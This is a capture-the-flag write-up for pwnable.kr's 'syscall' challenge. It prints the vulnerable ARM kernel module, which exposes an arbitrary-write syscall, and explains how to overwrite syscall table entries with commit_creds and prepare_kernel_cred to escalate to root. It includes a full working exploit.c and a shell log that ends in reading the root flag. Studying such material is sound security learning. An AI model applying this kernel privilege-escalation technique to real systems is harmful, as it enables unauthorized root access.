pwnable.kr: syscall
syscall
The following challenge is brought from pwnable.kr.
The syscall
challenge emulates ARM kernel and allows us to overwrite parts of the memory by using its own syscall.
Analysis
The challenge provides a source code:
// adding a new system call : sys_upper
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>
#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223
// Pointers to re-mapped writable pages
unsigned int **sct;
asmlinkage long sys_upper(char *in, char *out)
{
int len = strlen(in);
int i;
for (i = 0; i < len; i++)
{
if (in[i] >= 0x61 && in[i] <= 0x7a)
{
out[i] = in[i] - 0x20;
}
else
{
out[i] = in[i];
}
}
return 0;
}
static int __init initmodule(void)
{
sct = (unsigned int **)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}
static void __exit exitmodule(void)
{
return;
}
module_init(initmodule);
module_exit(exitmodule);
The corresponding kernel module, m.ko
, creates a new syscall called sys_upper which takes in two pointers and writes byte from in
to out
.
We can attack this by overwriting parts of syscall table and calling the overwritten syscall, just like GOT overwriting, but for syscall.
Exploit
The syscall table address is given, so there does not need to be a kernel leak.
We can replicate syscall table and reference it- since given by kernel.
And call the new syscall SYS_UPPER
to overwrite two arbitrary syscalls with commit_creds
and prepare_kernel_cred
, respectively.
Finally, we can call the overwritten syscall and pop shell.
prepare & commit addresses
We can get them by using:
/tmp # cat /proc/kallsyms | grep commit_creds
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/tmp # cat /proc/kallsyms | grep prepare_kernel_cred
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred
roadblock
The sys_upper
function, however, alters certain bytes: (b’a’ - b’z’) into (b’A’ - b’Z’). i.e. changes lower case ascii letters to upper case.
So the last byte of commit_creds
, 0x6c, cannot pass the filter.
So we can instead pass 0x60 for the last byte and add a 12 byte padding before commit_creds.
The padding can be anything, but I found that people usually like mov r1, r1
which translates to \x01\x10\xa0\xe1
. One can use online ARM assembler for this. So it’s like the usual NOP sled, but not really.
exploit.c
Using the information above, the final exploitation script looks something like this:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/syscall.h>
#define SYS_CALL_TABLE 0x8000e348
#define SYS_UPPER 223
unsigned int **sct;
char *commit_creds = "\x60\xf5\x03\x80"; // 0x8003f56c - 0xc
char *prepare_kernel_cred = "\x24\xf9\x03\x80";
char *nop = "\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1";
int main()
{
sct = (unsigned int **)SYS_CALL_TABLE;
syscall(SYS_UPPER, nop, 0x8003f56c - 0xc); // "nop" sled/padding
syscall(SYS_UPPER, commit_creds, &sct[11]);
syscall(SYS_UPPER, prepare_kernel_cred, &sct[12]);
syscall(11, syscall(12, 0));
system("/bin/sh");
return 0;
}
/tmp $ id
uid=1000 gid=1000 groups=1000
/tmp $ vi exp.c
/tmp $ gcc -o exp exp.c
./exp/tmp $ ./exp
/bin/sh: can't access tty; job control turned off
/tmp # cat /root/flag
Congratz!! [FLAG]
Thanks,
079